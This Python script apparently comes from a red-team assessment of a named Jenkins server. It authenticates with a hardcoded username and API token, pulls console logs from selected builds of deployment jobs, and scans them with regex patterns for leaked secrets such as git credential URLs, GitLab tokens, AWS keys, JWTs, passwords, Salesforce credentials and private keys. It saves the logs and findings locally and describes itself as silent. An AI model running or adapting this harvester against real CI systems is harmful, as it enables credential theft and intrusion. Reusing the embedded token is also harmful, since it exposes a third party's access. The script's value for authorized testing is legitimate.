#!/usr/bin/env python3 """S5: Old builds deep scan — fetch consoleText from EARLIEST builds of each job. Old builds (before GIT_ASKPASS was added) may leak plaintext credentials. Also scan ALL builds of Deploy Test jobs (they have injection evidence). Uses API token auth. Read-only, silent. """ import json, time, os, re, base64 import urllib.request, urllib.parse TOKEN = "1168067a586dbf2545ec65de94c754a8e8" USER = "guilhermesilva" TARGET = "https://jenkins.salesforce.ipiranga.io" LOGDIR = "/root/ir-assessment/redteam/jenkins_salesforce_ipiranga_io/L2/build_logs" os.makedirs(LOGDIR, exist_ok=True) # Jobs to scan — focus on Deploy Test (injection evidence) + oldest builds of all jobs JOBS = [ ("Deploy SalesForce/sfdc-ipiranga-orgnova-ci", "job/Deploy%20SalesForce/job/sfdc-ipiranga-orgnova-ci"), ("Deploy SalesForce/sfdc-ipiranga-orgnova-production", "job/Deploy%20SalesForce/job/sfdc-ipiranga-orgnova-production"), ("Deploy SalesForce/sfdc-ipiranga-orgnova-stage", "job/Deploy%20SalesForce/job/sfdc-ipiranga-orgnova-stage"), ("Deploy SalesForce/sfdc-ipiranga-orgnova-uat", "job/Deploy%20SalesForce/job/sfdc-ipiranga-orgnova-uat"), ("Dev Utils/Deploy Test/Deploy Test 01", "job/Dev%20Utils/job/Deploy%20Test/job/Deploy%20Test%2001"), ("Dev Utils/Deploy Test/Deploy Test 02", "job/Dev%20Utils/job/Deploy%20Test/job/Deploy%20Test%2002"), ("Dev Utils/Deploy Test/Deploy Test 03", "job/Dev%20Utils/job/Deploy%20Test/job/Deploy%20Test%2003"), ("Projetos/01 - Ipiranga TOP", "job/Projetos/job/01%20-%20Ipiranga%20TOP"), ("Projetos/02 - Inside Sales", "job/Projetos/job/02%20-%20Inside%20Sales"), ("Projetos/03 - Ipiranga Empresas", "job/Projetos/job/03%20-%20Ipiranga%20Empresas"), ("Projetos/08 - Sustentacao", "job/Projetos/job/08%20-%20Sustentacao"), ] # Secret patterns PATTERNS = [ (r'(https?://[^:]+:[^@]+@[\w\.\-]+)', "GIT_CRED_URL"), (r'(glpat-[A-Za-z0-9_]{20,})', "GITLAB_PAT"), (r'(00D[A-Za-z0-9]{15})', "SF_ORG_ID"), (r'(password\s*[=:]\s*["\']?[^\s"\']{4,})', "PASSWORD"), (r'(token\s*[=:]\s*["\']?[A-Za-z0-9_\-]{20,})', "TOKEN"), (r'(secret\s*[=:]\s*["\']?[^\s"\']{4,})', "SECRET"), (r'(client_id\s*[=:]\s*["\']?[A-Za-z0-9]{15,})', "CLIENT_ID"), (r'(client_secret\s*[=:]\s*["\']?[A-Za-z0-9]{15,})', "CLIENT_SECRET"), (r'(session\s*[:=]\s*["\']?[A-Za-z0-9!\-]{20,})', "SESSION"), (r'(eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,})', "JWT"), (r'(AKIA[0-9A-Z]{16})', "AWS_KEY"), (r'(-----BEGIN (?:RSA |EC |OPENSSH )?PRIVATE KEY-----)', "SSH_KEY"), (r'((?:sf|salesforce)[-_]?(?:username|password|token|auth)\s*[=:]\s*["\']?[^\s"\']+)', "SF_CRED"), (r'(sfdx\s+force:auth|authurl)', "SFDX_AUTH"), ] def _auth_header(): cred = base64.b64encode(f"{USER}:{TOKEN}".encode()).decode() return {"Authorization": f"Basic {cred}"} def api(path): """Fetch JSON/text from Jenkins API using HTTP Basic + token.""" url = TARGET + path req = urllib.request.Request(url, headers=_auth_header()) try: with urllib.request.urlopen(req, timeout=20) as resp: data = resp.read().decode() try: return json.loads(data) except: return data except urllib.error.HTTPError as e: return f"__HTTP_{e.code}__" except Exception as e: return f"__ERR__: {e}" def fetch_log(job_path, build_num): """Fetch consoleText for a specific build.""" url = TARGET + f"/{job_path}/{build_num}/consoleText" req = urllib.request.Request(url, headers=_auth_header()) try: with urllib.request.urlopen(req, timeout=20) as resp: return resp.read().decode() except urllib.error.HTTPError as e: return f"__HTTP_{e.code}__" except Exception as e: return f"__ERR__: {e}" def scan(text): findings = [] for pat, stype in PATTERNS: for m in re.finditer(pat, text, re.IGNORECASE): val = m.group(0).strip() if len(val) < 8: continue ctx = text[max(0, m.start()-40):m.end()+40].replace('\n', ' ').strip() findings.append({"type": stype, "value": val[:120], "context": ctx[:150]}) return findings def main(): all_findings = [] logs_scanned = 0 for label, path in JOBS: print(f"\n=== {label} ===") info = api(f"/{path}/api/json?tree=firstBuild[number],lastBuild[number],builds[number]{',url'}") if not isinstance(info, dict): print(f" SKIP: {info}") continue first = info.get("firstBuild", {}) last = info.get("lastBuild", {}) first_num = first.get("number") if first else None last_num = last.get("number") if last else None if not first_num: print(f" SKIP: no builds") continue print(f" Build range: #{first_num} -> #{last_num}") builds_to_scan = set() builds_to_scan.add(first_num) if first_num + 1 != last_num: builds_to_scan.add(first_num + 1) if last_num > first_num + 2: mid = first_num + (last_num - first_num) // 2 builds_to_scan.add(mid) if "Deploy Test" in label: all_builds = info.get("builds", []) for b in all_builds: builds_to_scan.add(b.get("number")) for bnum in sorted(builds_to_scan): if bnum > last_num: continue log = fetch_log(path, bnum) if log.startswith("__"): print(f" #{bnum}: {log}") continue log_size = len(log) safe_name = re.sub(r'[^a-zA-Z0-9_-]', '_', label.split("/")[-1]) log_path = f"{LOGDIR}/{safe_name}_#{bnum}_old.log" with open(log_path, "w") as f: f.write(log) logs_scanned += 1 findings = scan(log) status = f"{log_size}B" if findings: status += f" -> {len(findings)} FINDING(S)!" print(f" #{bnum}: {status}") for fnd in findings: print(f" [{fnd['type']}] {fnd['value'][:80]}") print(f" ctx: {fnd['context'][:120]}") all_findings.extend(findings) else: print(f" #{bnum}: {status} (no secrets)") print(f"\n=== SCAN COMPLETE ===") print(f"Old builds scanned: {logs_scanned}") print(f"Total findings: {len(all_findings)}") seen = set() unique = [] for fnd in all_findings: key = fnd["value"] if key not in seen: seen.add(key) unique.append(fnd) print(f"Unique findings: {len(unique)}") if unique: print("\n=== UNIQUE FINDINGS ===") for fnd in unique: print(f"[{fnd['type']}] {fnd['value']}") print(f" context: {fnd['context']}") with open(f"{LOGDIR}/../old_builds_scan.json", "w") as f: json.dump(all_findings, f, indent=2, default=str) print(f"\nResults: L2/old_builds_scan.json") if __name__ == "__main__": main()